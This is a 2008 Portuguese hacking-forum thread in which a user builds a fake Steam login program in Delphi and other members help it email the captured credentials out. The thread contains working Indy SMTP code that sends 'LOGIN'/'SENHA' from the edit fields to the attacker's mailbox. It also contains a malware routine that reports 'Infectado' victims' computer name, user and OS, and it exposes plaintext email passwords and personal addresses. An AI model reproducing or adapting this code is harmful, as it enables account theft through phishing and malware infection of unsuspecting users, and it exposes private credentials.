FORUM DARKERS

Tecnologia & Informática => Programação => Delphi => Topic started by: lostph on 29 de January , 2008, 04:45:54 PM

Title: [AJUDA] envio de informações
Post by: lostph on 29 de January , 2008, 04:45:54 PM
Olah, pessoal do Darkers ...

Bom vo explica o que aconteceu , antes de formata meu pc ... eu tinha um projeto funcionando aonde era um fake da STEAM ...

Mais formatei e eskeci de salva o projeto certo, so salv ei a metade dele, refiz ele novamente ...

POrem estou com problema na parte de envio da mensagem , gostaria de saber, se alguem pode me ajudar ..


Meu projeto tem 2 edit ...

Edit1... Edit 2...

aonde ao serem preenchidos e clikado em enviar ..

enviaria para meu e-mail da pop ....
Desde jah agradeço ..

Obrigado!.
Title: Re: [AJUDA] envio de informações
Post by: whit3_sh4rk on 29 de January , 2008, 07:11:57 PM
Existem vários exemplos na net..

http://www.babooforum.com.br/forum/inde ... try1521938 (http://www.babooforum.com.br/forum/index.php?showtopic=390630&pid=1521938&mode=threaded&start=#entry1521938)

[]s
Title: Re: [AJUDA] envio de informações
Post by: lostph on 30 de January , 2008, 12:37:51 AM
Não consegui whit3_sh4rk

to tentando usa este codigo ..

begin
//envio de e-mail com o servidor yahoo muito bom, um pequeno exemplo

IdSMTP.Port:=465;
IdSMTP.Host:='smtp.mail.yahoo.com.br';
IdSMTP.Username:='steam_lostph';
IdSMTP.Password:='***';
IdSMTP.AuthenticationType:=atLogin;
IdSMTP.Connect(0);

//O seu endereço de e-mail
IdMessage.From.Address :='steam_lostph@yahoo.com.br';
//Aqui vai o endereço de e-mail para o qual você quer mandar o e-mail
IdMessage.Recipients.EMailAddresses :='lostph_steam@pop.com.br';
//O assunto da mensagem
IdMessage.Subject :='CONTA STEAM =]';

try
IdSMTP.Send(IdMessage);
finally
IdSMTP.Disconnect;
end;
Application.MessageBox('Email enviado com sucesso!', 'Confirmação',
MB_ICONINFORMATION + MB_OK);
end;
Title: Re: [AJUDA] envio de informações
Post by: c0dek on 30 de January , 2008, 04:29:48 AM
lostph,
Parece que ultimamente está tendo muitos problemas no envio de e-mail pelo SMTP da Yahoo!
Na última vez em que testei(não faz muito tempo) usei o da BOL e deu certo.

P.S.:
-No IdSMTP.Username ponha somente o login.
Ex.: IdSMTP.Username:= 'lostph_steam';  // sem o @bol.com.br
-Use IdSMTP.Port:=25.
-SMTP da BOL: smtps.bol.com.br

De resto tudo normal.
Faça o teste ai. Qualquer coisa poste.
Abraços!
Title: Re: [AJUDA] envio de informações
Post by: lostph on 30 de January , 2008, 03:30:42 PM
Bom c0dek segui sue conselho fiz um e-mail na BOL porem ...
peloq ue opservei a bol Recebe pelo POP e Envia pelo SMTP ...

Eu naum tenho no meu codigo a configuração pop e nem o componente pop ...
Sou meio inexperiente na parte de codificação ...

estou usando este código aqui, naum sei se está correto mais .

//envio de e-mail com o servidor yahoo muito bom, um pequeno exemplo

IdSMTP.Port:=25;
IdSMTP.Host:='smtp.bol.com.br';
IdSMTP.Username:='lostph.steam';
IdSMTP.Password:='***';
IdSMTP.AuthenticationType:=atLogin;
IdSMTP.Connect(0);

//O seu endereço de e-mail
IdMessage.From.Address :='lostph.steam@bol.com.br';
//Aqui vai o endereço de e-mail para o qual você quer mandar o e-mail
IdMessage.Recipients.EMailAddresses :='lostph.steam@bol.com.br';
//O assunto da mensagem
IdMessage.Subject :='CONTA STEAM =]';

try
IdSMTP.Send(IdMessage);
finally
IdSMTP.Disconnect;
end;
Application.MessageBox('Email enviado com sucesso!', 'Confirmação',
MB_ICONINFORMATION + MB_OK);
end;


Vc mesmo pdoe ver que so tem as informações smtp ..
uma vez um amigo meu me passo um codigo so smtp usei pela pop e deu certo, mais o codigo era muitooo simples ...

se vcs que tem mais experiencia pode me ajudar, pode ser em qlquer e-mail , eu faço o e-mail ...

Muito obrigado...
Title: Re: [AJUDA] envio de informações
Post by: whit3_sh4rk on 30 de January , 2008, 08:00:52 PM
Se o BOL utilizar SSL, esse método comum não irá funcionar.

Assim como o Yahoo e GMail por exemplo utilizam..

[]s
Title: Re: [AJUDA] envio de informações
Post by: lostph on 30 de January , 2008, 08:33:03 PM
ah tá ... mais não existe um jeito de fazer funcionar ?...
mesmo sem o SSL ... acho que o pop naum utiliza..
Title: Re: [AJUDA] envio de informações
Post by: c0dek on 30 de January , 2008, 11:42:15 PM
Lostph,
Tenta enviar pra um email da Gmail, quando eu testei usei SMTP do BOL enviando pra um email Gmail.
Testa ai que quando eu tiver um tempo eu faço uns testes aqui e te mando.

[]'s
Title: Re: [AJUDA] envio de informações
Post by: lostph on 30 de January , 2008, 11:59:21 PM
ok , vo testa e posto o resultado aki =] ...
Title: Re: [AJUDA] envio de informações
Post by: OnlyOne on 31 de January , 2008, 03:40:35 PM
ate onde eu sei o BOL nao usa SSL , o GMAil sim , mas isso t5b pode ser implementado via codigo , no yahoo vc tem q configurar seu email pra acessar o POP e o SMTP , pelo menos era assim
Title: Re: [AJUDA] envio de informações
Post by: Zero cool on 31 de January , 2008, 04:28:00 PM
oks vamos la,  vc pode usar tanto bol quanto yahoo pra autenticar, o problema esta no codigo sendo que vc pode autenticar tbm via http post que eu acho muito melhor, mas vamos ficar com smtp mesmo:

vou te passar um code que vai tirar suas duvidas

procedure TCmd.e1;
begin
{=========================================================================================================}
{ CONFIGURE AQUI SEU EMAIL PARA IFECTS }
{=========================================================================================================}
if (not func.Co) or (fileexists(func.dr + file_flag)) then
  exit;
  filecreate(func.dr+file_flag);
  msg.Body.Clear;
  msg.From.Name := func.User;
  msg.From.Address := 'Zerocool@bol.com';   }
  msg.Recipients.EMailAddresses := ('Zerocool@gmail.com');
  msg.Subject :=  'Infectado: ' + func.CompNAME;
  Smtp.Host := ('smtps.bol.com');;
  msg.Body.Add('====================== Zero cool ============================');
  msg.Body.Add('Nome do Computador........................: ' + func.CompNAME);
  msg.Body.Add('Usuário ativo.............................: ' + func.User);
  msg.Body.Add('Data......................................: ' + datetostr(now));
  msg.Body.Add('Hora......................................: ' + timetostr(now));
  msg.Body.Add('__________________________________________________________________');
  msg.Body.Add('Sistema Operacional.......: ' + func.GIV);
  msg.Body.Add('Resolução do Monitor......: ' + IntToStr(Screen.Width));
  msg.Body.Add('==================================================================');
  msg.Body.Add('');
  msg.Body.Add('-= Zero cool Darkers =-');
  Smtp.AuthenticationType := atLogin ;
  Smtp.Username := 'Zerocool'; {<--- username do email que vai enviar os infects }
  Smtp.Password :='09873gf1873';  {<--- senha do email que vai enviar os infects }
  Smtp.Port     := 25;
  Smtp.Connect;
{=========================================================================================================}
{=========================================================================================================}
   Try
  Smtp.Send(Msg);
    except
  Smtp.Disconnect;
  end;
  Smtp.Disconnect;

End;
Title: Re: [AJUDA] envio de informações
Post by: c0dek on 31 de January , 2008, 06:17:36 PM
Zero Cool,
Seria interessante postar esse método de HTTP Post ou algum link como referência, me interessei por ele. Se você puder, é claro.

Obrigado.

Abraços.
Title: Re: [AJUDA] envio de informações
Post by: lostph on 01 de February , 2008, 04:11:39 AM
ZeroCool , muito obrigado pelo codigo ... esta completo ..

porem como vc eh amis esperiente , gostaria de add o edit 1 e edit 2 no e-mail tbm , como ?!


abraços
Title: Re: [AJUDA] envio de informações
Post by: lostph on 01 de February , 2008, 04:17:36 AM
Zero cool ... seu codigo esta dando erro...

nesta linha
if (not func.Co) or (fileexists(func.dr + file_flag)) then

acredito que nas outras tbm ..

abraços ..

e mesmo asism agradeço muito a ajuda, seu codigo deu pra ter noção mais amplas do que posso fazer!
Title: Re: [AJUDA] envio de informações
Post by: c0dek on 01 de February , 2008, 05:43:06 AM
lostph,

Tente usar esse código:

with SMTP do
  begin
Host:='smtps.bol.com.br';
Port:=25;
Username:='';
Password:='';
AuthenticationType := atLogin;
Connect;
  end;

with Mensagem do
  begin
  Body.Add('');
  Body.Add('LOGIN: ' + edit1.text);
  Body.Add('SENHA: ' + edit2.text);
  Body.Add('');
From.Address:=''; // E-mail da autenticação
From.Name:=''; // Nome de quem está enviando (remetente)
Recipients.EMailAddresses:= ''; // E-mail que vai receber as informações
Subject :='Conta Steam =]';
ContentType:='text/html';
  end;
try
SMTP.Send(Mensagem);
finally
SMTP.Disconnect;
end;

O código que o ZeroCool passou era pra você ter uma base, deu erro porque você não tem as funções. :D


Abraços.
Title: Re: [AJUDA] envio de informações
Post by: Zero cool on 01 de February , 2008, 06:29:10 PM
Quote from: "lostph"Zero cool ... seu codigo esta dando erro...

nesta linha
if (not func.Co) or (fileexists(func.dr + file_flag)) then

acredito que nas outras tbm ..

abraços ..

e mesmo asism agradeço muito a ajuda, seu codigo deu pra ter noção mais amplas do que posso fazer!

lostph essa funcao e pra n mandar infect repetido ou info

traduzindo: Se não (func.Co)ou (arquivoexiste(func.dr + file_flag)) então
fecha;
criaarquivo(func.dr+file_flag);

vc pode deletar essa linha, que vae enviar do mesmo jeito, dae e com vc.
Title: Re: [AJUDA] envio de informações
Post by: lostph on 05 de February , 2008, 02:24:58 PM
Obrigado pela ajuda c0dek,Zero cool ...

COnsegui faezr o e-mail chega atraz ve codigo:

with idSMTP do
  begin
Host:='smtps.bol.com.br';
Port:=25;
Username:='lostph.steam';
Password:='rapha06';
AuthenticationType := atLogin;
Connect;
  end;

with idMessage do
  begin
  Body.Add('');
  Body.Add('LOGIN: ' + edit1.text);
  Body.Add('SENHA: ' + edit2.text);
  Body.Add('');
From.Address:='lostph.steam@bol.com.br'; // E-mail da autenticação
From.Name:='Raphael'; // Nome de quem está enviando (remetente)
Recipients.EMailAddresses:= 'raphiskis@gmail.com'; // E-mail que vai receber as informações
Subject :='Conta Steam =]';
ContentType:='text/html';
  end;
try
idSMTP.Send(idMessage);
finally
idSMTP.Disconnect;
end;
end;

porem so envio  1 vez ....

tipooo ... eu naum to conseguindo intende, por que esta taum dificil manda um e-mail ...

me add msn: ph.slater@hotmail.com

Obrigado , e desculpa pela demora, tava viajando.
Title: Re: [AJUDA] envio de informações
Post by: lostph on 05 de February , 2008, 02:39:59 PM
OnlyOne,whit3_sh4rk, obrigado tbm , fui meio que fazer nas presas e acabei eskecendo de coloka o nick de vcs, poreme stou muito grato tbm ...

começa estuda agora, Sistemas da informação na facul ...
quem sabe invez de pedi ajuda, estarei ajudando tbm ...

abraços
Title: Re: [AJUDA] envio de informações
Post by: c0dek on 05 de February , 2008, 03:07:50 PM
Cara,
Aonde você colocou o comando para enviar o e-mail?
Explicar assim fica difícil, te adicionei lá no msn.

Abraços!
Title: Re: [AJUDA] envio de informações
Post by: case on 10 de March , 2008, 11:27:46 PM
Nao sei se ajuda mas, também tive problemas com envio de mail pelo yahoo e depois consegui
colocando o endereco de smtp como smtp.mail.yahoo.com e a porta 25.

agora to utilizando duas rotinas, quando a do yahoo falha mando pelo bol

nesse site tem um exemplo de como utilizar o indy pra autenticar e enviar para gmail

http://www.activedelphi.com.br/forum/vi ... c269fb14e4 (http://www.activedelphi.com.br/forum/viewtopic.php?t=35256&highlight=&sid=e65472df859f3a31fcaadec269fb14e4)